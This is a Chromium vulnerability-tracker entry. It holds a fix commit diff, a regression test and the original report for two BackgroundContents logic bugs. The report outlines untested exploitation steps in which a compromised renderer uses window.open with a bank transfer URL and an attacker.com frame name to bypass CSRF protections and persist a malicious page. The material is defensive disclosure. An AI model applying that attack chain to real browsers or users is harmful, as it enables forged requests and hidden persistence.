Overview

Low
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in Browser
DescriptionInappropriate implementation in Browser
ComponentBrowser
Bug ClassLogic Error
Tracker499051898
Fix commitc40f2f5fbcdd (chromium/src) +50/-5
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-02

Changed Functions

FunctionChangeNotes
TEST_F
chrome/browser/background/background_contents_service_unittest.cc
modified
if
chrome/browser/ui/browser.cc
modified

Files Changed

  • chrome/browser/background/background_contents.h
  • chrome/browser/background/background_contents_service.cc
  • chrome/browser/background/background_contents_service_unittest.cc
  • chrome/browser/ui/browser.cc
From c40f2f5fbcdd35cafee060a770d28d3f6f36ddfe Mon Sep 17 00:00:00 2001
From: Andrew Paseltiner <[email protected]>
Date: Thu, 30 Apr 2026 13:49:06 -0700
Subject: [PATCH] Fix BackgroundContents logic bugs

This CL addresses two security-relevant logic bugs in
BackgroundContents:

1. Fixes missing initiator attribution in
   Browser::CreateBackgroundContents by using LoadURLWithParams and
   setting is_renderer_initiated = true.
2. Fixes a preference key-swap bug in BackgroundContentsService where
   URL and frame name keys were transposed during loading.

Fixed: 499051898
Change-Id: I8654f39f57565d051af268fc9c9f69e530ba6668
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7808247
Reviewed-by: Eshwar Stalin <[email protected]>
Commit-Queue: Andrew Paseltiner <[email protected]>
Reviewed-by: Devlin Cronin <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1623443}
---

diff --git a/chrome/browser/background/background_contents.h b/chrome/browser/background/background_contents.h
index ea31d7f..9ce731ec 100644
--- a/chrome/browser/background/background_contents.h
+++ b/chrome/browser/background/background_contents.h
@@ -97,6 +97,8 @@
       base::TerminationStatus status) override;
   void PrimaryPageChanged(content::Page& page) override;
 
+  const GURL& GetInitialURLForTesting() const { return initial_url_; }
+
  protected:
   // Exposed for testing.
   BackgroundContents();
diff --git a/chrome/browser/background/background_contents_service.cc b/chrome/browser/background/background_contents_service.cc
index 3a2e3f9..15014ddaa 100644
--- a/chrome/browser/background/background_contents_service.cc
+++ b/chrome/browser/background/background_contents_service.cc
@@ -511,8 +511,8 @@
   if (!dict)
     return;
 
-  const std::string* maybe_frame_name = dict->FindString(kUrlKey);
-  const std::string* maybe_url = dict->FindString(kFrameNameKey);
+  const std::string* maybe_url = dict->FindString(kUrlKey);
+  const std::string* maybe_frame_name = dict->FindString(kFrameNameKey);
   std::string frame_name = maybe_frame_name ? *maybe_frame_name : std::string();
   std::string url = maybe_url ? *maybe_url : std::string();
 
diff --git a/chrome/browser/background/background_contents_service_unittest.cc b/chrome/browser/background/background_contents_service_unittest.cc
index eb1052c..ee7d3e5 100644
--- a/chrome/browser/background/background_contents_service_unittest.cc
+++ b/chrome/browser/background/background_contents_service_unittest.cc
@@ -7,6 +7,7 @@
 #include <memory>
 #include <string>
 
+#include "base/command_line.h"
 #include "base/functional/callback.h"
 #include "base/memory/raw_ptr.h"
 #include "base/run_loop.h"
@@ -16,6 +17,7 @@
 #include "build/build_config.h"
 #include "chrome/browser/background/background_contents.h"
 #include "chrome/browser/background/background_contents_service_factory.h"
+#include "chrome/browser/extensions/test_extension_system.h"
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/common/extensions/extension_test_util.h"
 #include "chrome/common/pref_names.h"
@@ -23,6 +25,7 @@
 #include "chrome/test/base/testing_profile.h"
 #include "chrome/test/base/testing_profile_manager.h"
 #include "components/prefs/pref_service.h"
+#include "components/prefs/scoped_user_pref_update.h"
 #include "content/public/test/browser_task_environment.h"
 #include "extensions/common/extension.h"
 #include "testing/gtest/include/gtest/gtest.h"
@@ -81,6 +84,12 @@
         TestingBrowserProcess::GetGlobal()->SetUpGlobalFeaturesForTesting(
             /*profile_manager=*/true);
     profile_ = profile_manager_->CreateTestingProfile("default");
+
+    extensions::TestExtensionSystem* system =
+        static_cast<extensions::TestExtensionSystem*>(
+            extensions::ExtensionSystem::Get(profile_));
+    system->CreateExtensionService(base::CommandLine::ForCurrentProcess(),
+                                   base::FilePath(), false);
   }
 
   void TearDown() override {
@@ -244,3 +253,30 @@
 
   // No crash.
 }
+
+// Test that ensures that background contents are correctly restored from
+// preferences, specifically checking that the URL and frame name are not
+// swapped. Regression test for crbug.com/499051898.
+TEST_F(BackgroundContentsServiceTest, RestoreFromPrefs) {
+  BackgroundContentsService service(profile_);
+
+  // Manually set up the preference.
+  const std::string appid = "appid";
+  const GURL expected_url("http://www.google.com/test");
+
+  {
+    ScopedDictPrefUpdate update(profile_->GetPrefs(),
+                                prefs::kRegisteredBackgroundContents);
+    base::DictValue dict;
+    dict.Set("url", expected_url.spec());
+    dict.Set("name", "test_frame");
+    update->Set(appid, std::move(dict));
+  }
+
+  // Load the background contents for the extension.
+  service.LoadBackgroundContentsForExtension(appid);
+
+  BackgroundContents* contents = service.GetAppBackgroundContents(appid);
+  ASSERT_TRUE(contents);
+  EXPECT_EQ(expected_url, contents->GetInitialURLForTesting());
+}
diff --git a/chrome/browser/ui/browser.cc b/chrome/browser/ui/browser.cc
index 754657a..82bcb80 100644
--- a/chrome/browser/ui/browser.cc
+++ b/chrome/browser/ui/browser.cc
@@ -3733,9 +3733,16 @@
 
   // When a separate process is used, the original renderer cannot access the
   // new window later, thus we need to navigate the window now.
-  contents->web_contents()->GetController().LoadURL(
-      target_url, content::Referrer(), ui::PAGE_TRANSITION_LINK,
-      std::string());  // No extra headers.
+  content::NavigationController::LoadURLParams params(target_url);
+  params.is_renderer_initiated = true;
+  if (opener) {
+    params.initiator_origin = opener->GetLastCommittedOrigin();
+    params.initiator_process_id = opener->GetProcess()->GetDeprecatedID();
+  } else {
+    params.initiator_origin = url::Origin::Create(opener_url);
+  }
+  params.source_site_instance = source_site_instance;
+  contents->web_contents()->GetController().LoadURLWithParams(params);
 
   return contents;
 }
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/background/background_contents_service_unittest.cc b/chrome/browser/background/background_contents_service_unittest.cc
index eb1052c..ee7d3e5 100644
--- a/chrome/browser/background/background_contents_service_unittest.cc
+++ b/chrome/browser/background/background_contents_service_unittest.cc
@@ -7,6 +7,7 @@
 #include <memory>
 #include <string>
 
+#include "base/command_line.h"
 #include "base/functional/callback.h"
 #include "base/memory/raw_ptr.h"
 #include "base/run_loop.h"
@@ -16,6 +17,7 @@
 #include "build/build_config.h"
 #include "chrome/browser/background/background_contents.h"
 #include "chrome/browser/background/background_contents_service_factory.h"
+#include "chrome/browser/extensions/test_extension_system.h"
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/common/extensions/extension_test_util.h"
 #include "chrome/common/pref_names.h"
@@ -23,6 +25,7 @@
 #include "chrome/test/base/testing_profile.h"
 #include "chrome/test/base/testing_profile_manager.h"
 #include "components/prefs/pref_service.h"
+#include "components/prefs/scoped_user_pref_update.h"
 #include "content/public/test/browser_task_environment.h"
 #include "extensions/common/extension.h"
 #include "testing/gtest/include/gtest/gtest.h"
@@ -81,6 +84,12 @@
         TestingBrowserProcess::GetGlobal()->SetUpGlobalFeaturesForTesting(
             /*profile_manager=*/true);
     profile_ = profile_manager_->CreateTestingProfile("default");
+
+    extensions::TestExtensionSystem* system =
+        static_cast<extensions::TestExtensionSystem*>(
+            extensions::ExtensionSystem::Get(profile_));
+    system->CreateExtensionService(base::CommandLine::ForCurrentProcess(),
+                                   base::FilePath(), false);
   }
 
   void TearDown() override {
@@ -244,3 +253,30 @@
 
   // No crash.
 }
+
+// Test that ensures that background contents are correctly restored from
+// preferences, specifically checking that the URL and frame name are not
+// swapped. Regression test for crbug.com/499051898.
+TEST_F(BackgroundContentsServiceTest, RestoreFromPrefs) {
+  BackgroundContentsService service(profile_);
+
+  // Manually set up the preference.
+  const std::string appid = "appid";
+  const GURL expected_url("http://www.google.com/test");
+
+  {
+    ScopedDictPrefUpdate update(profile_->GetPrefs(),
+                                prefs::kRegisteredBackgroundContents);
+    base::DictValue dict;
+    dict.Set("url", expected_url.spec());
+    dict.Set("name", "test_frame");
+    update->Set(appid, std::move(dict));
+  }
+
+  // Load the background contents for the extension.
+  service.LoadBackgroundContentsForExtension(appid);
+
+  BackgroundContents* contents = service.GetAppBackgroundContents(appid);
+  ASSERT_TRUE(contents);
+  EXPECT_EQ(expected_url, contents->GetInitialURLForTesting());
+}
Loading diff…

Original Bug Report

reported by [email protected]

CSRF bypass and persistence via BackgroundContentsService logic bugs

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.

Overview: A compromised renderer belonging to a hosted app can trigger a browser-initiated navigation when creating background contents, bypassing Fetch Metadata CSRF protections. Furthermore, a logic error in preferences loading swaps the URL and frame name keys, allowing the attacker to persist a malicious URL that executes silently on browser restart.

Affected files:

  • chrome/browser/ui/browser.cc
  • chrome/browser/background/background_contents_service.cc
  • chrome/browser/background/background_contents.cc

Estimated timestamp from git blame: 2022-08-17

Summary

There are two security-relevant logic bugs in the handling of BackgroundContents for hosted apps. First, navigations triggered during the creation of an isolated background content lack proper initiator attribution, treating renderer-initiated navigations as browser-initiated. Second, a bug in the persistence layer swaps the URL and frame name when reloading background contents from disk.

Combined with a compromised renderer, an attacker can bypass Fetch Metadata CSRF mitigations and achieve persistence for a malicious origin under the identity of a trusted hosted app.

Bug 1: Missing Initiator Attribution in CreateBackgroundContents

When a hosted app with the background permission and allow_js_access: false creates a background window via window.open(), the browser isolates the content in a new SiteInstance and initiates a navigation to the renderer-supplied URL:

// chrome/browser/ui/browser.cc:3811
contents->web_contents()->GetController().LoadURL(
    target_url, content::Referrer(), ui::PAGE_TRANSITION_LINK,
    std::string());

This uses the 4-argument LoadURL signature, which internally constructs a default LoadURLParams object. By default, is_renderer_initiated is false and initiator_origin is nullopt. As a result, the navigation is treated as browser-initiated. The network service will set the Sec-Fetch-Site header to none instead of cross-site, allowing a compromised renderer to bypass Fetch Metadata CSRF protections on any target origin.

Bug 2: Persistence Logic Bug in BackgroundContentsService

BackgroundContentsService persists background content information to the kRegisteredBackgroundContents preference on disk so it can be restored on browser restart. When saving, it correctly stores the URL under kUrlKey (“url”) and the frame name under kFrameNameKey (“name”).

However, the logic for reading these values back in LoadBackgroundContentsFromDictionary is flawed:

// chrome/browser/background/background_contents_service.cc:510-511
const std::string* maybe_frame_name = dict->FindString(kUrlKey);
const std::string* maybe_url = dict->FindString(kFrameNameKey);

The keys are swapped. An attacker can set the frame_name parameter of the mojom::FrameHost.CreateNewWindow IPC to a malicious URL. This URL is stored in the kFrameNameKey preference and, due to the swap bug, is loaded as the background content’s URL upon browser restart.

Potential Exploitation Steps

(Note: These are suggested steps based on static analysis; our tooling has not executed a live proof-of-concept).

  1. Precondition: The user has a hosted app installed with background permission and allow_js_access: false in its manifest. The attacker achieves RCE in the renderer process for this app.
  2. Trigger Bug: The compromised renderer executes a window creation request, equivalent to window.open("https://bank.com/transfer", "https://attacker.com/malware.html").
  3. CSRF Bypass: The browser intercepts the window creation and routes it to Browser::CreateBackgroundContents. It immediately initiates a navigation to https://bank.com/transfer. Because is_renderer_initiated defaults to false, the request bypasses Fetch Metadata CSRF protections.
  4. Save Malicious State: The background contents finish navigating. The browser saves the state to preferences, storing the frame name (https://attacker.com/malware.html) under the “name” key.
  5. Achieve Persistence: The user eventually restarts Chrome. During startup, the browser loads the preferences. The key-swap bug reads the “name” key and assigns it to the URL variable. The browser silently creates a background contents pointing to https://attacker.com/malware.html. The attacker has achieved persistence.

Suggested Fix

  1. Fix Initiator Attribution: In Browser::CreateBackgroundContents, replace the 4-argument LoadURL call with LoadURLWithParams. Explicitly populate the LoadURLParams object, setting is_renderer_initiated = true, and supplying the appropriate initiator_origin and initiator_process_id corresponding to the opener frame.
  2. Fix Key Swap: In BackgroundContentsService::LoadBackgroundContentsFromDictionary, assign dict->FindString(kUrlKey) to maybe_url and dict->FindString(kFrameNameKey) to maybe_frame_name.

Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker